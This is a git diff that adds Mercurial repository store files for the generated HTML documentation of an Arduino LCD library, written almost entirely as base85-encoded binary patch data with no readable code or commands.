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 PD)`$l)%DK5@!YTPnl_{$ literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal__8cpp.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal__8cpp.html.i new file mode 100644 index 0000000000000000000000000000000000000000..028dc3194d86bd4ca58c91cc57181c70096d3f9c GIT binary patch literal 2831 zcmV+q3-I&+0RRC20000000<)h03P`O00000005}}|NsC0|Ns92Id4ELSJ%$<%C(M4 zA4Pl7lxh9|00000000000001ZoYh%dZ`-&Me)q57GC-REwPpF9#5T}6O&e^oEn4^V zoTq@6s7phMT9R_&e}9IgWJ`|I#6`2n7D#21!?|(h8{A{Yq%$BcwJZ+4Pz`KN{aR(neDmPQIfR0EJNopqv#6_ zsGzAw$BxyZF=lakgCao#(3vb`%aal#LD>XLwPI98lq!rASXUUO37q;wNr~_x$9|s9 zL3$$2RCVMBSrXfekrduG=N}SJ$BreaYvA*{RY=pP%XW(OTyTGdc*;2OC$FuTcl@sP zDg8Z8R9omrs}n8Q{NHJgu_G}SB`OCr!(5SpNr z-lDH%`w*{(@EcS#@SA`zN#DG-WUr4-8z8LW2tQt;*av|;!_}rqi!X?;-U3l10J4(4fg^08-kmK259`w6>)Xl#+zvYUaE; za0l(vG1!#W=<;Mi1)jRCPRj*P!7vC0W;?kqL`;JkThv6lrPEn(hCD{3L{SWD4-2qD z%u=<`ncx|UQwX_?L2Bw;MFAH`MHJO?uw>j?Yf<e3d(zUAy{K3RsJV=^y zrE{RhXQri7`7nc0KQ9*mK{^{sh5$x=4wq z;w7z4H1ShV>L{#?!KjYw3R?>eb%aVtcr7VwWod{jQ_Vk~COnsvFR7SdK~*kNREL@k z*RK)3Jv@4lMXny@@GH*^JE zJG2bAm&*yhubbg^u161*$mtPA_a`q{E*_a{fNgHp}I&yj22w@IzZa> z!16SK39I!I>WsK=z$Td2IAw|l)Ily(>0GEWjfWxYX`S{(Q^h*R23tUNqDGi|9QZhNoB z+-$eFF1G0V$E!Q7qu)Twe?T>yavl4~a-X7COr1*Q$GjE23f1Y@ zF~j49(8bg)QUM$K(`e&VX$X=}qyGL`@KBKC3Dke*94JU>9A#y`UNhssYp?L>D7uzB z7alD_ukPPSuYAF*Ca!R6wu#_-jA3o+tUqw1xG4{8H_{9d51=cSNM}*YhIY28*{u3D z9)0RDvuaQ^=nBf?x}HlX7!r0Ib+jtFMuLiXD~b(htV3B->iWZ0A8Tf7NxJU6)cYWS zP8_BsBI@11G)<*hWJ*zj8Fu%We5ub{aHV)+_Ws9L1)OKRc0jr=bv?I7M_y;t>w^!v z-L@OF>B8?07QL=#YPaj&yNkJ5E2B{LfA`;HY=7vFdL$Tm!NBz>r9HYhcKyY0I2s)X z?V)Rp9X)7l``={jpdXOoXy6ZM*A3`s;S$n!hhYElusi6F3S>S+>O-MEd@2&2Ae(G( z{Mp9mlan$&_31Qt3VTFE2s&YVuB>1*2#LY{_+Bp@W)$D-&fDN&k4~E^!5lj_MMQ0V zEo~76sMP(TysA_l8>ZXmm@Q>}4jyc1@H8u9E@lu>aIyk{PmQ4}v>vc_yWQ*KX|Hc~ zYJgOYroY5%dk27F&9h}txv{mY?hc>FlX&m&8CAmPQT8t^d`3INr~T5xX8_?dcnRV2 zI4tfRJ{1ftqv%m7FD!~GCj4XzctP<5MOm-&&&E^n(UEa$PMt_b9DaqS=mZ@U6^Lir zK)G4gd$$|*#9Ey2fB6FASFbJ1aUSHSk52oOuF6w=HJLWIw>!@0OCI}&?IR3gJQjO5 z+qVXli(g#77qDaCx+@~!j8xV~=0y6IF_V+OSqFC?9oCm{zh95eK6(`QcfVhY?p|8t zsTq0}O?vxi@*g5%4L{GKNq-+r^fMJ8>a!>^*hi7~DHP&@JlpyVe?=KCo*ko_QM*OTXC?Ln>$8yXs!y)%M`3Ifxe@i0AIV4)Tmjq*0+wk>@&la>&f*7 zYi}CrZ1E0JT8Lw%tam7VG%NiPa1OhYzS$(c59Y|N0q|Zz7@KZh-(Yv1M>%?%3DifO zw%bAO=)@hK^akenrTUVyDBg%RH++?+-tyg0zxP((MjGaxwyuSBP&s3BBU|(o7qi7{ zAgrcQ8M>@V+VJv)N6VNt{tssI@uvU)000Oh000000&D;PA$$M;000000IUE200960 z|Nks6&IM|4bV(j?A(&AI2? zYeL9RLI&RmAz@&Jl@J{syrPF% zjpxl7>;+P&FLa?{7Bat|{(;{1Avk@H|H$>JgfWw$*IJSn$?685Mn z#itUs_nnJcgxtJ?Cr2SZQc8nFtf)vrmg{T@u~j?;wl2-X`{O60{lMg0U5YExDQFgr zyD3^Qk$5&wY6#5^#|gMq|m130War-2tSX_rio-t%0jt6`{3tgWZiY zWwCwJ1vE(3A9^6U6n4rr@?FhG$lNqLcMAjBH6XFGiOLl0Gg=qI&j!5if~%y%*xbOG>~8Xn7f?2qGS?vJ10;Cl<3%HgBo@RDpjepI^amepK;C*;-?)qGip zv}o&PK^?E$stR@A1R=LSG-vSjZ{{kpb8Z*CglMS$x11L;YB|HbT#G?gQ=DernLx63 zXaCv$2IPUyqqe#)#fF<^S!Sz=d;m=|S_Ie@i{vzbw50rJ_{06nXrkFmQUY>7|1J00000000000001ZoYh_bbK5qu|2=;Ns?N0bJKG|_?{VyDVkeE~5<8PP z&E34Y@qi>~v!O*DNyYKIyZ`+yKvGLV5G|{AE>+VpBod3oV)uguc1b+@;rQ(6{O|8x zlB@bUC+|MKcyn?@M!VzjC;MnTK0ZGte|vrY_6?zX7CA5Zq{`~7nDBf&et9|~qpP}} zJ{^y5Zf^E&?7gDA9G|}*f0eYTtlSoN>t4;hq)tYMPoAj;zh38)>cBvThGE#$R`&{? zz@KYTb0Y8E75|)NUk*k`#iSOKdiVTxDn=x3z8#Ee@wIL$@5fiXtVDhA@%+_pFd74q zI;(SW_~z)Cyvd@Hm$y&J_+ur?YMfs4e9Fr@OZYeuUqoI^uYul}m&vE1{9H|WEXHp# zXgWD6Z>yT;7bonf`DN*c?v}lHIwc>9Ss4rRD$B*Qal^oqXL&aHOs-0i0>eD2_Ts7< zky7LbqpH5mMRg@aJt8%9t?iM#VZ2ze61qVw z8maG7o+Rz}!zbifEk&XVz^4=<7>39$uj;47^`>9<puF^JQC#L?@Av5?$R1QL=}5HnTMl+}kwPoho-3}KX2`rRZ9@}&Ek=E_ z`RPaMS^LkRPm_iFX4jD@M~8He?NN{vT!w~$n2~B!W+Gi6OLmF;CT+PaauVmfs>oFa zV-EvxOY-KfJ#t(YQ<6T-a)*K(DOu=l z?6{rqFJ*BE(cqIwQA-ta@k;)^H`My04{<%BFk4O0DZRorZCuOu<6@1*cLON4=fvP%hl{eDfRvp!gj`n`OW zi98vRFFc>Y<>t2$;c+ag>a)0opA1~4MLeqxM$5b@YOmzgt-73v?Gah79Obj}j=Bm6 zjg^6=*>q*?qbokS6k9NzPU>w<3ay&;RiKo3x1a-XAMZ=&C@(6Q>>C9}jDL#lt2^F{ zYL?g4C$Kv;u7|oVsk=_DFGnOQ%0w!NwWwIJyg{ked5Q;|$^>FSaqg&(tu z$PwC8V(Yb$mi+R%LE~vD48L+Br(6I<3qEwDCz>O@;9o9H9sMbgI3`217R3 zYBr9*@o62kSK#=^Srr%L?R+!=G6=KARxqY?&)klU?brkD6w_OU7eJ0ua2!6u99xoD zHV?B5k@psp3VeoGOe#U_J?p8tJqO!!R=3xFp4WAmMKd|XyB}bAA)e>iXF-mR$cw-4 zet2$f!NnHbl`WX7dRWz4&D^=vw5mw!8{mjYt%Ip512;S&KmBu7)cd@GUz_3%xykCQ zLe4-UzM5n)cuCc4IxWh2hww?FE|WD`+@)ap0Y0*V8-` z3A9p4o5|{mz~q|F@`=1b`fq%4OQy4ODzVqxe1Odd_Y`G_Rl^}sf(9kz15d?Ma#|Qk zQEN_$TB}LD{0cylNVoDS`TN|l(nz6k)78dpu8Iap2MqETi9o~vgeH<`dvw6|&O2aJ zL#o{Gif|I~DvL=2m86Br&SwWO`?yNe3(v{C^3%&&y<%fx3P; z{;OGMD4HK#ZGL8Tr)Yn4!2W(wOPLiU&|>I-#VDC(D8{*Dd((-&xanluTr{_i218dH z%z_Ys6#?d&U1pPB8&@!Dkq~mtbptanAPdO9n#EVZ@eOas*USPM9vv_|HCr|-zMfXe zPV+n`*8(srQMe&1Nt^;QaLq!#*LRzCNzWzzmF1~u-YNAXr?w@n`}0z1ps%0amBnSruZQ}Ic4fPR{SkR(p08}QFWY-S?pu@?Vjj)Y_J^6D zB$*lPZL~Z)cqs0b*AC6hO*onFfGn*`ui91VqPuq`d1~nx*+xsXLrq5=v^Qs95H z+nyUh?-X@Odr*s%oYbU$aeDUR`O#nBoc#LwoLFC9y)rY5VBrjcg}FAOf-^AVN*5$4 zVf|dnP53msoRy9Lx#dW=1g51x{>5A5KD`--9Ct$j+f>k)IwFW!;JAs1ZQG)$C8EUk zBFBy!0lW7Ru=C>NT-&-N)XcTFA=j>-fDWWVoO(1CLO3D{X%hK<5QM4aw`$?t#q}D% z(Cb%V=$B>g7owXph;HWEh-=P(M*#?MesV;vL_P)W=)AQRFo2lj46F(s8wOm2H`mgj z&qbtiseTQob$4htOv2*(k4NWc??0H^N2_)RyzxgD1Hyyr=v^H&Wc8C~7p+M+VZx#$ zNSFsc6{m4vM{$(+cIXG3dV!}*!fg%t;fXKIflr?MDEw@ zXc9oD#PxK0Tl{o%5({Z2v{z=mvaPp+M(X-&w&V2ZxxKR2EBo78J7~^sK>np&M8kAL z*_52kw;llxI{=f7?WjRuF7%)s0VP2xIVmxal$ z0Wa8%J=^m{i8ZDqtFu}4W;*_sDBsAcZbFy+V~IZ zMCcla0O9*f8ixSk2j5oX1}FCcl|y&L4|SCb(24`ydk@g^f`NSonMGR8;<_lSCh{5a z_;aoT%kA>k=r9MHx(#W{q_6_d3Eeaip>6wC;&`zYa~4Obr4%~&zT5_*J_m>e!DG4# z0m4e~pss@64!R0~yIwnURe6_9c2pxm zNkF}j+hG#MUII2}i8KZvsYLyvH)cw>TiP&!u*ni{2tvUU2!#kjp$ zK}Lx97A`G?Ld28sPqP#X5$8hxJ41{R(JTy>5Ch>P)Z#7FvNlAFAPOzYSnT=SOQ-`L zvLAyv(+JERmWs-;0P24##Gsh_2*t-k42sE(Q2fp zxgkm?d_>E|Tudl_@0N?%o>0^+7xOux_-!qBv$Z+JbWtdNXQqouq)^mN7gIu^sF^ON zeA1zm&-Q8Aw=d6MpB)=xdlWN2=}_k9BgghArhr0G?<`vB>fFr#>3v9E+>l&8kwFq( zb26P(S27>6P0FkY-fGN(qnMOQ2a+<)RndBeQYkAjG3J9(w&|XY>rscLL1g=`9f>5N zwk;fLhr$(+s}_ff`f_alv$(w}%0%XfjSjyQS;yD?4dreYH0W-m&_itXL>U6a&WLFbn_(SBBXYdq )l7tRVEJp~IxRFXzX;^~6 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 QA5TzzBY`954;ZJQ6m?d5tpET3 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal__8h.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal__8h.html.i new file mode 100644 index 0000000000000000000000000000000000000000..7af283c09a948ab50a5f56b2913c726184fad3c9 GIT binary patch literal 2809 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 L=)n2|5LluYGW}dP literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal__8h__source.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal__8h__source.html.i new file mode 100644 index 0000000000000000000000000000000000000000..19562b4b605568427ddd154cbc0d7b275906ddb9 GIT binary patch literal 7771 zcmXwcV{{#A+jMMOjcwa#8aB2XX9v5n)9l#X@osD<4Nrr{wr$%^-qZ6v->h}d%v$&S zy4L&|C}=2XsQ-X21O+9~^#43m>Bs*7_*RaP$`bbzHyK1CI_TtvqZ{D-zs!H)1sOAR z1g;3;yl0zsX@Zmh^%j!8{j#Vh8?CZ5iML=Cb_4wmXl>drwuZx5sz^^8MF zS#HVp=x}+D+&qvBo3O&togWZ?(f0S786krRs}OPj09SA4sF>h@k7)npiyY&eJc)JF zA1$)hz`$yuI8A28Xy@6BoDXYC3o2Qc#fuu9iuK`hF7XS~kM+*v24$fZM)HW^K@&S(Yy6Gv zws}dWhb(YsasO^hj%TS7R_*T>p-77H-=^s<{XxFH+YwuvyJ?UyQjdifBGbf($8G6^ zy>qjRL&C%7_+Z%ExZV&8DHz`0@-{-6mqY5n2n>u4zM@FlI@f3+X5u_tykz`;3?wc{ ztdi^EqYy15des&0e+>P8tM_bx9c7L}I%La-=Cq7d_XpGWL(KG%`(u%=74Q^3@~&Qc ziHMGcx}?-Zzj{p8B`~YQCulNbn@Jt|QDG$R(0j_)t}j?({DZiFI!}x8914esjSL#eJxH(`M@VsHBI@%}h+(!h>EK-J zn&KK|s=gaZ<>`)%T>9lhZ;O%%;=-~o65aua@YNqe4KYMoj#KZ-3#v>71)X(4JunXY z-c1tQAm?+n7~w!O(w;d;))nex#jzLYda6uRU)`b!wY}U41 z7qw}5?SwWl5~$(z6?R%$YD*)m8JnUuac;gJN2Z zUx>LSl)lEOEa5da*SqUp#+(w{x?ZvlKMM4hOD+l%$qpxtPnDpOO$@Qq&gh-;HK?`d z&%w9Ec=AyM2DFs_oQWt(ICe#x=XzJW(G?3|up@}PMcq_ga-Y7Xn>#TV5}1s+k`x}y zJ=g0v&0Q_$&6Dljhil+Tb5<3rOmtnH$QM0t7{IR}(5;k5NcBKF0PW#?7Ne~lrQwHt z@lbn`wEO~$M~Q7M%fQzd5#`|N^672_q)^2^2j-u9FPOLH8f>bxM#~kVT^0ouC+2hC zp?0t5PtJ*i!D%WmK&5|yt~1)DCXl96No-L4T2|Rjwd>U}O5@zEpv3l>drexB?9T)* zcwD=VoWs9q6!G?@7Rjf6W4Y?YT+aZl!Z1ct?-nn*p}BVV!S0ynHm`v;1l1D#8MX$P z+3q3Uv~L02>Phm&X97(MkroFS__!^mX$UEi~TY_q1jMk;bxrqd}vus#{ z(EWrDFA=Mt@E#Nl9c#A?Suormx|H-hYPkfx9@Z!;#8!`OI$x7jGC z9E?6c_{rkhKqw)TY|w8NV=qDUOzP069wPuaT3)PJ*)N|}Ii-JNk*v?Bu2#jM{#yE! 